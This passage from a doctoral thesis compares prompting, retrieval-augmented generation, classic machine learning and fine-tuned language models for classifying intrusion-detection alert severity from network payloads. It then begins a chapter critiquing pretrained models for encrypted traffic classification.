in that, it avoids the sampling bias present in many ML security studies (the most

frequent problem, common to 60% of the studies surveyed in [78]).

Typically, we start by randomly splitting the full dataset into 80/20 for train/test

purposes. To counter class imbalance in the training process, we create a fairly

balanced subset by subsampling the train fold, ensuring the selection of at least one

sample per each of the (eventName, application, ℓ) tuples and oversampling the

minority classes. This yields a more balanced class distribution (despite successful

attacks are still under-represented). The train subset is further split into train/valida-

tion sets with an 80/20 ratio, and the same train/validation folds are used for both

LLM and ML workflows.

Finally, from the much larger portion (0.4M samples) of the original dataset

left for test purposes, we ensure that no duplicate event (i.e., repeated attack from

the same source with the same payload) is present in both the training and testing

sets. We use stratified split to relatively compare ML vs LLM, and later for ablation

studies to answer our last research question. We are aware that, unlike the train/-

validation sets, the test set will still be affected by class imbalance: therefore, we



3.4 Methodology 65

will avoid the inappropriate measure pitfall (top-5 flaw present in 33% of the ML

security studies [78]) by resorting to unbiased metrics (e.g., weighted accuracy and

macro average F1 score) and reporting confidence intervals over multiple repeti-

tions. The weighted accuracy (or balanced accuracy) is a metric that accounts for

class imbalance by computing the average of recall values for each class, computed
1
C ∑

C
i=1

T Pi

T Pi+FNi
, where C is the number of classes, T Pi and FNi are the true positives

and false negative for class i.

Time-based splits

At the same time, stratified selection (or cross-fold validation) breaks temporal

consistency and yields temporal data snooping from future events – a prevalent flaw

in ML security (the second most frequent problem, found in 57% of the studies [78]).

We therefore design two more realistic scenarios, where ML/LLM models predict

future events based solely on past data, without control over the event distribution.

This mimics the conditions of a real-world deployment, testing the models’ ability to

adapt to evolving threats.

We resort to temporal splits that conserve roughly the same magnitude of the

80/20 stratified splits: in particular, our dataset consists of network events collected

during 138 days, with a strong data drift happening during mid-august as reported

in Fig.3.2. We therefore consider two temporal splits, namely: (i) 15/08-split: this

split uses 82 days for training (until August 15th, so just before the drift) and the

remaining 56 days for testing; (ii) 21/08-split: this split uses 88 days for training

(until August 21st, so just after the drift) and the remaining 50 days for testing.

Clearly, (i) corresponds to a worst-case stress-testing for the generalization capability

of the model, as the test split contains radically different zero-day attacks never seen

in training (i.e. out-of-distribution), while (ii) corresponds to a mild stress-test2,

yielding a conservative performance assessment that is furthermore not affected by

temporal data snooping.

After the temporal split, a similar subsampling approach is used to reduce the

training/validation set sizes, whereas the test set corresponds to all security events

happening after the split date. We extensively use the time-based splits to gather

2In that models are trained once and never updated, whereas in practice we would expect at least a
weekly/monthly model update.
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a conservative assessment of ML and LLM performance in real-world settings

throughout the chapter.

3.4.4 Classification Models

Prompt engineering

We use few-shot prompting as a frozen-LLM baseline. We use a range of pre-trained

LLM models of different size and openness, notably open-source LLM with on-

premise deployment model that keeps data private (Llama2 7B and 13B [172], and

Mistral 7B[171]) as well as proprietary LLMs with cloud-based API access that

exposes data to third parties (OpenAI GPT-3.5 and GPT-4 [32]). For each input

event, we construct a prompt that includes the task description, the input payload, as

well as instructions and examples to classify the event into one of the five categories:

the model output is then parsed to extract the predicted label. While we experiment

with a set of prompts (the finally used prompts are reported in Appendix B), we do

not want to invest too much time in prompt (over) engineering [174]: our goal is to

assess the current level of ease of deployment with limited effort, i.e., if the problem

is already solved by the most powerful models available in the academia/market.

When leverage frozen models, the running time of a single inference is around 10

seconds.

Retrieval Augmented Generation (RAG)

For our RAG baseline, we employ a dense passage retrieval system implemented

using ChromaDB with state-of-the-art embedding models [176, 177]. While the

full system employs RAG for textual explanation, to provide a fair comparison with

prompting, LLM and ML for classification, we also directly measure the ability of

RAG to correctly classify payload as an intermediate step, with the methodology

explained in Sec.3.5.1.

As the complexity of setting up RAG is marginal with respect to that of a fine-

tuning LLM/ML pipeline (also notice from the left portion of Table 3.2 that training

time for RAG is the lowest), by comparing RAG vs prompting we still assess the

ease of deployment with limited effort. Instead, by comparing the performance of
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RAG to that of fine-tuned LLMs, we can assess the extent to which LLMs are simply

memorizing known patterns vs their generalization ability.

State-of-the-art ML baseline

In this study, we pay particular attention to avoiding being blinded by the LLM hype:

otherwise stated, we put as much care and effort into constructing the traditional ML

solution, as much as we put into constructing the LLM ones. We, therefore, employ

a state-of-the-art ML baseline, avoiding the inappropriate baseline pitfall (P6 in [78],

20% prevalence).

Using the same folds in Table 3.2 for a fair comparison, we train several ML

models, for over 50 hyperparameter combinations (details deferred to Appendix B) on

classic TF-IDF [144] representation of the input data. We then assess the performance

of these ML models on the validation fold to select the best performing one, to

finally gather performance results on the test set. Purposely excluding deep learning

methods (of which we focus on the next section), we include methods that work

well on imbalanced data (Logistic Regression, Ridge Classifier, and Complement

Naive Bayes) as well as methods successfully used across a very wide spectrum of

classification tasks (Random Forest, Support Vector Machines and Gradient Boosting

Classifier). On the one hand, this approach can be seen as a strong ML baseline for a

conservative performance comparison with LLMs in the context of this study. On

the other hand, it is also amenable for practical deployment, as ML models could

be periodically re-trained with a sliding window approach, and the best-selected

model could be used for the current period until the next retrain. Using a strong

ML baseline and a principled analysis methodology, we can reliably assess whether

LLM encoding abilities offer a statistically significant advantage over a traditional

state-of-the-art ML approach.

Fine-tuned LLM Encoders

Pre-trained LLMs provide rich, contextual representations of textual data. These

models are trained using self-supervision techniques to predict the next token (or

masked tokens, etc.) on vast amounts of unlabeled text data. Recent work [95]

has shown that fine-tuning pre-trained LMs on downstream tasks, such as sequence

classification, often yields state-of-the-art performance with minimal amount of task-
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specific training data. In our case, we aim at fine-tuning LLMs for attack severity

prediction based on payload input. In practice, we fine-tune3 several models: to

outline best LLM practices, we assess the impact of (i) model size by contrasting

BERT, GPT-2 (small, medium, and large) and Mistral-7B (Sec.3.5.4) and of (ii)

model architecture by contrasting BERT, BigBird, SecureBERT and UniXcoder

(Sec.3.5.4).

• BERT: Bidirectional Encoder Representations from Transformers (BERT) [102]

is a transformer-based model pre-trained using a combination of masked language

modeling (MLM) and next sentence prediction (NSP) objectives, employing a bidi-

rectional architecture: this allows it to condition on both left and right context,

making it well-suited for sequence classification tasks. We employ a BERT model

with 110M parameters and a maximum sequence length of 512 tokens.

• BigBird: As BERT limits input to 512 tokens, which implies truncation of

packet payload, we also consider BigBird [178], a ∼110M parameters model that

handles 4096 tokens long input sequences through a sparse attention mechanism.

• UniXcoder: Since BERT is not specifically designed to handle packet payload

input, we include UniXcoder [179], a ∼110M parameters model that can process

both natural language and programming language inputs, which might better suit to

encode network data.

• SecureBERT: We also evaluate the cybersecurity-specific model SecureBERT

[151], which has been trained using a large corpus of cybersecurity resources based

on the RoBERTa model and has achieved very promising results in grasping cyberse-

curity language.

• GPT-2: Additionally, we fine-tune the latest open-source version of OpenAI

GPT-2 family [180], which allows us to also assess classification performance across

a range of model sizes from 117M (GPT-2 small), to 345M (GPT-2 medium) and

774M (GPT-2 large) parameters.

• Mistral-7B: The largest model we fine-tune for classification tasks is Mis-

tral [171] a 7B billion parameter model that uses Grouped-Query Attention (GQA)

for faster inference, coupled with sliding window attention (SWA) to handle se-

quences of arbitrary length at reduced inference cost.

3As dataset is proprietary and sensitive, we do not obtain clearance to release weights of the LLM
models we fine-tune either.
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Fig. 3.3 Prompt engineering: Macro average recall (weighted accuracy), macro average F1
score and Confusion matrix of different frozen LLMs, for payload + 5-tuple input on the
curated dataset.

• Fine-tuning hyperparameters: Deferred to Appendix B for space constraints.

3.5 Experimental results

In this section, we answer the three research questions introduced in Section 3.4.

3.5.1 Ease of deployment

Prompt engineering

Using the representative subset of 100 balanced samples, we perform prompt engi-

neering using different LLMs and summarized the results in Table 3.3. It is easy

to gather that the performance of both open-weight LLMs as well as proprietary

LLMs are different (F1 score 0.28-0.46) yet unsurprisingly similar across all models

(except GPT-4), but unsatisfactory for IDS replacement (even in case of GPT-4).

Additionally, the confusion matrices reported at the bottom of Table 3.3 show that

except for Mistral, a large number of events are (wrongly) classified as successful

attacks (notice the first column).

Not shown in the sake of space, we also perform experiments by additionally

feeding frozen LLMs with the actual eventName gathered from the IDS, which by

definition of the problem possibly contains false positives. Interestingly, doing so
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actually deteriorates the overall performance, as this increases the odds that frozen

LLMs believe false alarms to be successful attacks. While this could probably be

countered by altering the prompting, we believe that effort should be targeted to the

analysis of more sophisticated and carefully engineered solutions.

RAG alone

We next turn our attention to the performance of RAG for attack classification. To

conduct a statistically significant analysis, we refrain from assessing the full end-

to-end RAG pipeline which would entail analyzing the natural language output of

the frozen LLM, and instead focus on the intermediate RAG-specific contribution:

otherwise stated, we assess the quality of the top-k information retrieved from

the AttackDB and passed to the frozen LLM. This allows us to analyze the full

dataset and the different scenarios shown early in Table 3.2. We recall that given a

specific scenario (stratified or time-split), all the training and validation samples are

ingested into the AttackDB, and all test samples are used for performance evaluation.

Performance is reported in Table 3.3.

Table 3.3 RAG retrieval performance: Weighted accuracy for severity classification (left)
and Recall@{1,2,3} for eventName retrieval (right) on all scenarios, for payload + 5-tuple
input and two RAG embedding models. Performance metrics were reported as Median ±
0.5*IQR (inter-quartile range) of 50 bootstrapped resamples of the experimental results.

Scenario Embedding model
Class: ℓ ∈ [1,5] Class: eventName

Weighted accuracy Recall@1 Recall@2 Recall@3

Stratified
all-mpnet-base-v2 0.818 ± 0.006 0.696 ± 3.9 ·10−4 0.758 ± 4.7 ·10−4 0.788 ± 4.8 ·10−4

all-MiniLM-L6-v2 0.817 ± 0.004 0.622 ± 3.8 ·10−4 0.680 ± 4.9 ·10−4 0.708 ± 4.9 ·10−4

15/08-split
all-mpnet-base-v2 0.623 ± 0.005 0.568 ± 4.8 ·10−4 0.614 ± 4.0 ·10−4 0.638 ± 3.8 ·10−4

all-MiniLM-L6-v2 0.614 ± 0.005 0.513 ± 3.5 ·10−4 0.556 ± 4.4 ·10−4 0.577 ± 3.4 ·10−4

21/08-split
all-mpnet-base-v2 0.819 ± 0.005 0.640 ± 4.9 ·10−4 0.695 ± 3.9 ·10−4 0.721 ± 3.9 ·10−4

all-MiniLM-L6-v2 0.788 ± 0.004 0.574 ± 6.0 ·10−4 0.624 ± 7.5 ·10−4 0.648 ± 7.0 ·10−4

Attack severity ℓ classification To assess classification accuracy for the attack

severity ℓ ∈ [1,5], we perform the top-1 query, essentially returning the class of

the closest sample in terms of cosine similarity of the payload embeddings space

(requiring a matrix multiplication and a linear scan of the AttackDB, and is thus a

lightweight operation). Results for severity classification and eventName retrieval

are reported in Table 3.3 for two different embedding models, using payload + 5-
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tuple input. While results are not directly comparable to the anecdotal ones reported

in Table 3.3, we see that weighted accuracy improves significantly (up to 0.82),

although it is still not sufficient for IDS replacement.

In particular, results for the stratified split are on par with results for the temporal

21/08-split, which is encouraging. At the same time, we observe a degradation due to

zero-day attacks in the 15/08-split, which is also expected as the RAG AttackDB does

not contain any valid samples due to the attack drift. Finally, we point out a slight

but consistent differences concerning the model used to embed packet payloads:

While in the scope of this chapter, I limitedly contrast two alternatives, a broader

exploration of the RAG embedding models is a possible direction to further improve

RAG performance.

Retrieval of eventName To assess retrieval for the textual description eventName,

we instead report the recall@k of the top-k query with k ∈ {1,2,3}, essentially

assessing for each sample in the test set, whether one of the k retrieved eventName

descriptions matches the IDS ground truth. Clearly, in reason of the 500× larger

number of available classes (i.e., there are exactly 2500 unique eventName strings),

this task is more complex than the severity classification. At the same time, result

reported in Table 3.3 exhibit quite strong performance: recall@1 only marginally

drops from stratified (0.796) to 21/08-split (0.640) and adversarial 15/08-split (0.568).

As such, while RAG improves over frozen LLMs, it is again not satisfactory

to replace an IDS. At the same time, RAG-retrieved information may be usefully

exploited by ML and NLP models, which we analyze in Sec.3.5.3.

3.5.2 ML vs fine-tuned LLM

We therefore turn our attention to ML and fine-tuned LLM to help improve the

classification of attack severity. Without loss of generality, we limitedly fine-tune

BERT in this section. As we aim to gather statistically relevant and unbiased

assessment, we: (i) perform a fair comparison by ensuring that ML models and

BERT are trained on the same train/validation fold; (ii) gather a strong ML baseline

by taking the best performing model (selected on the validation set) out of over 50

combinations of ML models and hyperparametrizations; (iii) consider also practical

and adversarial temporal splits; (iv) report results over 4 repetitions with different
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seeds; (v) use macro accuracy to counter for class-imbalance in the test sets; (vi)

confirm results significance with a statistical test.

Table 3.4 ML vs LLM: Weighted accuracy of attack severity classification (mean ± standard
deviation over four repetitions) for ML vs BERT on all scenarios, along with the number of
times that BERT wins over ML (#)

IDS Input data
Stratified 15/08-split 21/08-split

ML BERT # ML BERT # ML BERT #

Replacement
Payload only 0.812 ± 0.020 0.841 ± 0.036 3 0.604 ± 0.011 0.687 ± 0.012 4 0.785 ± 0.016 0.868 ± 0.026 4
+ 5-tuple 0.878 ± 0.030 0.882 ± 0.022 2 0.681 ± 0.008 0.728 ± 0.010 4 0.881 ± 0.015 0.917 ± 0.004 4

Assistance
+ eventName 0.877 ± 0.014 0.960 ± 0.008 4 0.686 ± 0.010 0.769 ± 0.010 4 0.890 ± 0.005 0.958 ± 0.014 4
+ 5-tuple + eventName 0.938 ± 0.010 0.978 ± 0.006 4 0.744 ± 0.022 0.791 ± 0.005 4 0.939 ± 0.030 0.982 ± 0.002 4

Depending on the input data, ML/BERT can be considered as an IDS replacement,

which is reported at the top of Table 3.4. We gather that: (i) BERT results consistently

outperform the best from 50+ ML models, that (ii) for both ML/BERT useful

information can be extracted from 5-tuple (e.g., port numbers) and that (iii) accuracy

is maintained for temporal 21/08-split (over 90%) and degrades for adversarial

15/08-split (to slightly more than 70%) due to zero-day attacks. When ML/BERT

are considered for IDS assistance (bottom of Table 3.4) we can additionally feed

IDS eventName to ML and to BERT (with a simple concatenation) as previously

done for prompting. In this case, however, we gather that knowledge of eventName

significantly improves performance, especially for BERT (excess of 98% for stratified

and 21/08-split, degrading to 79% for adversarial time split).

Overall, we observe that BERT gains over ML are sizeable (mean pairwise

difference of BERT vs ML weighted accuracy equal 5% percentage point), consistent

(over all repetitions, splits and input types), and statistically significant (a one-

sample Student T-test confirms the 5% difference with 95% CI [0.04, 0.06]): we

thus conclude that non-linear feature extraction performed by transformer-based

architectures provides a sizeable advantage over classic ML techniques.

3.5.3 Performance in practice

We next assess the level of performance that can be expected in practice, for which we

limitedly consider time-based splits. In particular, we use the RAG-alone baseline as

well as the just observed ML/BERT baselines for IDS replacement or IDS assistance

(i.e., having access to IDS eventName). We further consider an IDS replacement
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solution where ML/BERT models are fed with a forecast of eventName gathered

through RAG-based retrieval capabilities.

Table 3.5 Performance in practice. Weighted accuracy and macro average F1 score of attack
severity classification for the whole spectrum of investigated solutions, on the time-split
scenarios.

Model RAG⋆ ML⋆ ML† ML‡ BERT⋆ BERT† BERT‡

Input Payload Payload +eventName +eventName Payload +eventName +eventName
+ 5-tuple + 5-tuple (RAG) (IDS) 5-tuple (RAG) (IDS)

15/08-split 0.623 0.528 0.687 0.551 0.693 0.556 0.729 0.726 0.727 0.576 0.731 0.575 0.788 0.745
21/08-split 0.821 0.754 0.886 0.738 0.893 0.758 0.896 0.925 0.914 0.869 0.915 0.873 0.982 0.962
⋆ RAG, ML, and BERT baselines early introduced in Table 3.3 and Table 3.4; † IDS replacement; ‡ IDS assistance

Results are tabulated in Table 3.5, reporting the weighted accuracy and the

average macro F1 score (because weighted accuracy is too close for certain cases) for

each configuration on a single repetition. It can be seen that solutions are essentially

ranked from worst (left) to best (right). In a nutshell (i) ML improves over RAG,

and BERT improves over ML, to the point that (ii) an IDS-replacement BERT-

based solution based on payload + 5-tuple input, is on par with an IDS-assistance

ML solution leveraging IDS eventName. (iii) Adding RAG-learned eventName

information consistently boosts ML and BERT performance over using only payload

+ 5-tuple input across two splits. Even so, (iv) we gather that for BERT there is

a significant gap between using RAG-learned eventName vs using the actual IDS

eventName: weighted accuracy of attack severity classification could improve from

91% to 98% (21/08-split) or from 73% to 79% (adversarial 15/08-split). One axis for

future work for IDS-replacement concerns therefore improvement of RAG retrieval

capabilities.

3.5.4 Best LLM practices

Yet another axis of improvement concerns the choices of LLM for fine-tuning, such

as (i) LLM model size or other architectural details such as (ii) pre-training domain

data, and (iii) context window size: we finally conduct an ablation study of these

aspects.
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Table 3.6 Ablation studies. Relative performance gain of macro accuracy with respect to
BERT baseline for different fine-tuned LLM models: ablation of model sizes (left) and
architectural choices (right).

Baseline Size ablation† Architecture ablation‡

Model BERT GPT-2 Mistral BigBird UniXcoder SecureBERT

Size small small med XL small small small small

Weights/Property 110M 124M 355M 1.5B 7B 8× context Coding domain Security domain
Performance ref. -0.1% -3.3% -1.2% -0.0% -8.3% +1.1% +0.7%
†tested on 10k samples of the stratified split, payload + 5-tuple input ‡tested on the full stratified split, payload-only input

LLM model size

Using BERT as a reference, we compare the relative weighted accuracy gain for

models of growing size: specifically, we fine-tune 3 models of the GPT-2 family

(small-124M, medium-355M, and XL-1.5B) and one model of the Mistral family

(small-7B). Due to computational complexity, we perform a single training experi-

ment per model on the stratified scenario, and we test on a subset of 10k (out of 411k)

samples – as such, results here should be interpreted in order sense. We further stress

that the fine-tuned GPT-2/Mistral models lose their language generation capabilities,

and can only be used for attack severity classification. However, from the top portion

of Table 3.6, we gather that there is no reason to do so: indeed, it appears as such

there is no gain (and sometimes a small loss) in utilizing larger models – which can

be tied to the fact that training 7B weights for a 5-class output on a relatively small

training set size is an unnecessary overkill, as fine-tuning the 110M weights of the

BERT models already has sufficient discriminative power.

LLM architectural details

Other factors than model size can play an impact on classification accuracy: for

instance, one could start fine-tuning from other pre-trained models such as UniX-

coder [179] or SecureBERT [151], that have been refined with domain-specific data

and may be better suited to process “network packet language”.

Another limiting factor resides in BERT 512-token input size (compared to the

1460 bytes MSS of a single TCP packet), and the fact that packet captures often

comprises multiple packets per event. As such, it would be interesting to enlarge

the scope of the window to avoid truncation as in BERT, which we do by using

BigBird [178], which uses an 8× larger context through sparse attention.
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We therefore conduct a study, using only packet payload as input on the full

stratified scenario, comparing the BERT reference against the above-mentioned

alternatives, which is reported in the right portion of Table 3.6. From the table, we

gather that (i) fine-tuning domain-specific models only provide a slight performance

advantage, as the domain adaptation does not help associating payloads to the

correct severity class. We also observe that (ii) sparse attention yields a performance

degradation: this hints to the fact that the most important information is carried in

the first packet, and that extending the context through sparse attention might access

further away tokens, yet with less discriminative power.

Computational complexity

We briefly comment on the train vs inference computational complexity, that we

early reported in the left portion of Table 3.2 for ML, BERT and RAG solutions

(but not for frozen LLMs, as it is not on the same scale). From a computational

perspective, ML training and inference (using 104 CPU cores) is significantly faster

than BERT/RAG; interestingly, “training” RAG (embedding samples) is cheaper

than fine-tuning BERT (backpropagation), while inference cost can benefit from

batching. As we have early seen, these techniques are complementary in nature, so

that an overall system would benefit from their combination – preferring simpler

techniques to treat volumes of traffic, and reserving the more costly yet powerful

techniques to deal with more complex cases.

3.6 Discussion

This chapter systematically analyses a range of state-of-the-art LLM techniques for

the purpose of cyberdefence. I investigated whether LLMs can assist or replace

current IDS, for the task of classifying attack severity, identifying the attack class

(and assisting humans by providing a textual explanation of the attack). The chap-

ter set out a broad study, contrasting state-of-the-art ML against a range of LLM

techniques (namely: Few-shot prompting, Retrieval Augmented Generation, and

Fine-tuning), and employed a large span of proprietary (GPT-3.5, GPT-4) and open

weight models (BERT, SecureBERT, UnixCoder, BigBird, GPT-2, LLama2, Mistral),

spanning from small (100M) to foundational size (7B for the largest model that could
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be fine-tuned locally on our premises, and above for inference with cloud-based

models). To provide a bird-eye view of the pros and cons of LLM for cyberdefense,

I also investigated several inputs (from raw payload to simulate IDS replacement, to

payload augmented with IDS information for IDS assistance) and data splits (strati-

fied, temporal splits), and paid attention to avoid the most widespread pitfalls [78]

in the evaluation methodology. Using proprietary data from customer deployment,

I performed a thorough set of experiments: while aware that the lack of publicly

available data hampers comparison reproducibility, the results we gather in this work

are general at least from a qualitative point of view.

I now summarize our key takeaways, highlighting potential avenues to further

improve the usefulness of LLMs for cyberdefense.

Prompt engineering. Few-shot prompting of frozen LLMs is easy but insufficient for

IDS replacement. For IDS assistance, managing false positives remains challenging

with prompting alone.

Retrieval augmented generation. RAG is marginally more complex and provides a

significant improvement, as it is easy to construct an AttackDB of embedded payload

entries, which can provide contextually useful information (e.g., learned eventName)

with moderate accuracy.

Fine-tuning. Fine-tuned LLMs are considerably more complex to implement, but are

also significantly more effective than RAG or ML: we gather that transformer-based

feature extraction exhibits a statistically significant advantage over the best out of

50+ ML models trained on the same data, and that for attack severity classification,

models of foundational size are an overkill.

Zero-day attacks. Overall, performance for known attacks (i.e., in-distribution in

ML terms) is satisfactory even months after training. At the same time, performance

can drop significantly in the case of attack drifts due to zero-day attacks (i.e., out-of-

distribution samples), showing that the generalization capability of fine-tuned LLMs

to novel attacks is limited.

At the same time, despite our efforts, this study is by no means complete. As

such, I indicate some avenues that could further improve the usefulness of LLMs for

cyberdefense, notably:

Generalization. Generalization to zero-day attacks should be the most urgent point

on the research agenda. First, in the absence of a clear, dominant strategy for
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continual learning [181], this could be tackled as an engineering effort (e.g., by

setting up a data pipeline for periodic retraining). Alternatively, recent innovations

in multi-modal zero-shot learning [42] offer a promising approach to correlate raw

data with meaningful natural language descriptions (e.g., in our case the semantics

of an “attack”), hence promoting the development of the right inductive biases.

Memorisation issue. Partly related to the generalisation issue, we suspect that part

of the success of specialised models is due to their ability to take advantage of easy,

but not generalisable, patterns in the data which tend to encourage memorization

rather than generalization [77]. Although developing a more robust training strategy

is a mitigation, a more thorough study on what types of shortcuts could impact model

training in security tasks is also desirable.

While already working at alternatives and more robust training strategies to

enhance generalisation – not reported in the thesis in the sake of space – in the

following chapter I adopt a more methodological approach, focusing on identifying

potential biases that could artificially inflate the model’s performance.

Practical deployment. Whereas this work investigates the suitability of LLM for

IDS, an interesting yet orthogonal line of work should be devoted to the integration

of payload-based LLM techniques, such as the one analyzed in this work, with the

set of existing behavioral ML-based IDS tools.

Untapped potential. While we gather good results in practical settings, there is also

clear room for improvement in constructing the RAG database [169], for example,

using payload-specific embedding models.



Chapter 4

Pitfalls of Pretrained Models for

Encrypted Traffic Classification

In this chapter, I discuss the paper: Boffa, Matteo, et al., “The Sweet Danger of

Sugar: Debunking Representation Learning for Encrypted Traffic Classification”,

submitted to ACM Sigcom 2025.

Here, I focus on a more methodological issue. As observed in Chapter 3, LLMs

can perform exceptionally well facing in-distribution data while struggling when

challenged with distribution shifts. Although this behaviour is expected from tra-

ditional ML, LLMs should be more robust thanks to their pretrained knowledge.

Hence, this study explores pretrained models fine-tuning in greater depth, investi-

gating whether part of this failure stems from the model learning incorrect features

– specifically, certain shortcuts present in only a subset of the data. Relying on

these shortcuts may artificially inflate the performance of the pretrained model, but

ultimately leads to significant drops when removed.

Notice that although we recently recognized that similar issues also affect the

findings in Chapter 3 – and we plan to take advantage of this insight to develop more

robust training methodologies that mitigate shortcut learning for the future – this

chapter focuses on a related parallel study on encrypted traffic classification. The

findings show that the same issue extends across different areas of cybersecurity,

exposing an “Ugly” and still unresolved challenge in current LLMs.
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4.1 Introduction

We are witnessing the success of Artificial Intelligence, with Deep Neural Net-

works (DNN), Large Language Models (LLM) and multimodal models empowering

applications in several fields. One of the driving factors behind the current ‘AI

Boom‘ [17] is the pre-training of large models using self-supervised approaches.

Contrarily to more traditional end-to-end training, self-supervision solves pretext

tasks – such as next-word (for text) or patch (for images) predictions [102, 182] –

on humongous unlabelled datasets. Through this first representation learning [16]

phase, pre-trained models learn to broadly master the nuances of the input data. This

means the ability to i) turn texts/images into meaningful embeddings, i.e., compact

yet highly informative numerical representations of the data, and ii) leverage such

embeddings to solve useful real-world downstream tasks. This two-stage approach

has proven extremely successful when learning to solve downstream tasks only from

few or even no supervised examples (few-shot [95] or zero-shot learning [183]).

Not surprisingly, the promises and allure of AI have captivated many, leading

to a surge in the adoption of AI-based solutions to address new and old networking

problems. One notable area of interest is the classification of network traffic [184–

188], where in recent years the wide adoption of encryption severely impacted the

effectiveness of traditional deep packet inspection [189, 190].

The claim of representation learning approaches is that it is possible to pre-

train some models in a self-supervised manner to learn a useful representation

of even encrypted traffic, and later use it for some downstream traffic classifica-

tion tasks [191]. Like ‘Bidirectional Encoder Representations from Transformers’

(BERT) [102] learns to represent text, ‘Encrypted Traffic BERT’ (ET-BERT) [192]

learns to represent packets, even if encrypted.

Each proposal follows a common schema: (i) select a model from the library

of well-established AI models for representation learning; (ii) define custom self-

supervised pretext tasks for the packet or flow embedding generations, often blindly

leveraging large packet traces for pre-training; (iii) assess the goodness of their

proposals, comparing the accuracy on freely available benchmarking datasets. All of

them reach top-level performance, with 95% or higher accuracy even on encrypted

VPN, TOR or TLS-encrypted traces. Some of them – quite controversially – claim
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that pre-training on a huge amount of data allows the model to still extract patterns

from the encrypted payloads [192].

As network experts, we must assess whether these proposals live up to their

astonishing performance. What kind of information can these approaches extract

in an everything-encrypted setup? Did authors evaluate these models in simplified

(or wrong) setups that exasperate their performance? How do they compare with

traditional shallow models?

In this chapter, I present a systematic critical view of the adoption of representa-

tion learning for traffic classification. To ensure a fair comparison between different

approaches, we define benchmarks based on open datasets for traffic classification

traffic, where these models face increasingly complex tasks, up to identifying traffic

from 120 websites from TLS traces.

Following Machine Learning (ML) principles and with a network expert mindset,

we introduce a pipeline to assess model performance properly. We pay particular at-

tention to possible cleaning, splitting, sampling and training pitfalls. In this common

playground, we compare the performance of state-of-the-art representation learning

models. Among contenders, we propose Pcap-Encoder, our new proposal based

on the Text-to-Text Transfer Transformer (T5) [193] that we train using intuitive

question-answering tasks specifically designed to focus on the packet headers and

ignore any (encrypted) payload.

This chapter highlights pitfalls and shortcuts previous works underestimated

and that, with promising sweet results, greatly poison the evaluation. Figure 4.1

summarises our findings:

• The per-packet split policy all previous works adopted does not properly

separate training samples from testing ones. This creates a huge data leak that these

complex models immediately exploit. Using per-flow split, i.e., including all packets

from the same flow either in training or testing set, the classification accuracy drops

to unacceptable performance. The latter setup reflects what the model would produce

in real-world applications.

• In the training of the downstream tasks, all previous works use hundreds of

thousands of data samples and train the entire classification architecture (unfrozen

encoder). This destroys the pre-trained information and basically re-train from

scratch the entire model. When the embedders are frozen (frozen encoder), the
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Fig. 4.1 Accuracy of classifiers evaluated (TLS-120 dataset, packet classification task).
Pcap-Encoder, our proposal, consistently outperforms others across all settings. However, all
representation learning-based methods (when trained under correct conditions) are surpassed
by a simple machine learning approach utilizing traditional feature engineering.

accuracy of the models drops to 15-25%. This questions their representation learning

abilities and confirms the intuition that training a model to learn patterns from the

encrypted payload makes little sense.

• Pcap-Encoder is the only model that provides a meaningful and robust rep-

resentation. By design, it exploits packet headers and ignores payload, extracting

meaningful representation. However, the shallow baseline performs on par or bet-

ter, with much less complexity. This questions Pcap-Encoder (and representation

learning at large) practical applicability.

In summary, the pre-trained models presented in the literature fall short of

producing an informative per-packet representation for traffic classification. The

assumption that it is possible to extract information from the encrypted payload,

coupled with a catastrophic per-packet split, falsified their performance.

The results we present call for a reality check on the usage of representation

learning for traffic analysis at large. To avoid falling into pitfalls, we advise the

community to not stop at ‘It just works’. Always question and justify the results by

asking ‘‘Why it works’. Also, data preparation is fundamental. Avoid data leakage,

artefacts and shortcuts. These overpowered DNN models will easily exploit these

instead of solving the actual task. When proposing a model, stress the representation

learning abilities. Freeze the encoder, as these models are fast-learner and tend to
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overfit to the downstream task. Eventually, consider cost-benefit trade-off. Always

compare with much simpler baselines.

We believe our lesson is important to the networking and AI communities in

properly designing, training, and, most importantly, testing representation learning

models in a thorough manner. Our lesson extends to all AI-based solutions for

computer networks. To this end, we provide the code, benchmark datasets and

methodology to the community, to establish a shared environment for development

and testing.

4.2 Representation Learning: Core Principles

We introduce the fundamentals and intuitions of representation learning for readers

who are not experts in the field.

Representation learning. Machine learning models, as computational systems,

inherently work with vectors of numbers. The primary goal of representation

learning is therefore to learn “meaningful” mappings that encode the real properties

of an input into a numerical space called the embedding space. The component

in charge of learning this mapping is named Encoder which is pre-tranined using

pretext and self-supervised tasks. An embedding space is meaningful when it respects

and captures the initial data properties. One way of measuring such alignment

is to challenge a model to take advantage of the learned embeddings and solve,

possibly with additional supervision, tasks that require an understanding of real-

world properties. Such tasks, often of practical interest, are defined downstream

tasks.

Pre-training: a powerful representation learning strategy. In recent years,

pre-training proved a compelling way to learn meaningful embeddings. Especially

when dealing with non-numerical inputs like images [194] and text [105], pre-

training demonstrated that it is possible to learn embeddings that automatically

capture generic features and relationships of the raw data and can be exploited to

solve many downstream tasks, with few (or even no) extra supervision [182, 95, 183].

Representation learning eliminates the need for feature engineering, i.e., the manual

selection or creation of relevant features.
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Pre-training through pretext tasks. Pre-training involves training the model on

a series of tasks, referred to as self-supervised pretext tasks. Unlike traditional end-

to-end learning, this approach does not rely on externally provided labels. Examples

of pretext tasks include predicting the next word or phrase in a document [195]

or reconstructing a masked patch of an image [182]. In both cases, the “correct

label” is inherently derived from the input data itself. The component in charge

of mapping the embedding space to the pre-text output is named Decoder. The

whole Encoder/Decoder architecture is trained on these self-supervised pretext tasks

so to minimize the decoder error when compared to the correct data. It is worth

noting that, unlike traditional feature engineering – where one explicitly models

what they consider to be relevant aspects of the data – pretext tasks encourage the

model to independently uncover and understand which information to use to solve

the task. The fundamental and implicit assumption here is that these features are

indeed present, making it possible, for instance, to reconstruct a missing portion of

an image given the remaining parts. Ultimately, the literature agrees that the size and

diversity of the pre-training dataset are key factors for its success [102, 196]. This is

logical, as we aim for the embeddings to capture generalizable aspects of the input

data, and we want to avoid the encoder focusing on overly specific scenarios.

Leveraging the embeddings for downstream tasks. A downstream task refers

to a specific problem a model is designed to solve, e.g., the classification of samples

into output classes, as we consider here. As we mentioned earlier, leveraging pre-

trained architectures can be an efficient way to solve a downstream task. Practically,

the model first utilizes the pre-trained encoder to extract embeddings. An additional

classification head leverages the knowledge distilled by the representation learning

model to perform the final classification. The classification head, which can range

from a shallow model (e.g., a Random Forest or a simple K-NN classifier) to a Neural

Network (e.g., a Multi-Layer Perceptron (MLP)), works alongside the pre-trained

encoder to form an overall classification model. Training this classification model

for a specific downstream task requires labelled datasets for both its training and

testing.

